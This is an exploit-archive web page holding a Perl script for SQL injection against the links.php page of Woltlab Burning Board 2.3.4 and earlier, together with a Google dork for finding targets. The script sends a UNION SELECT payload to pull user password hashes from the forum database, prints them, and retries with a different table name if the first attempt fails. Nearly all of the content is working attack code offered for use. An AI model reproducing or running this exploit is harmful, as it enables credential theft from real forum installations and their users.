首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Woltlab Burning Board <= 2.3.4 (links.php) SQL Injection Exploit
来源:inurl:/wbb2/links.php?cat 作者:LoK-Crew 发布时间:2006-05-22  

#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
## ##
## Woltlab Burning Board 2.3.4 <= "links.php" SQL Injection Exploit ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Exploit by | LoK-Crew ##
## Bug by | x82 ##
## Googledork | inurl:/wbb2/links.php?cat ##
## Usage | links.pl [server] [path] ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir =
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
break;
}
}

$wbb_dir =
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
print "[+] Try replacing bb1_users with bb2_users\n";
break;
}
}
close($sock);

print "[+] Exploit failed\n";



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IntelliTamper 2.07 (*.map file
·Xoops <= 2.0.13.2 xoopsOpti
·phpListPro <= 2.0.1 (Langua
·Fusion News v.1.0 (fil_config)
·Mozilla Firefox <= 1.5.0.3
·Cyrus IMAPD 2.3.2 (pop3d) Remo
·DeluxeBB <= 1.06 (Attachmen
·portmap 5 beta (Set/Dump) Loca
·PHP-Fusion <= 6.00.306 (src
·Nucleus CMS <= 3.22 (DIR_LI
·GNUnet <= 0.7.0d (Empty UDP
·Drupal <= 4.7 (attachment m
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved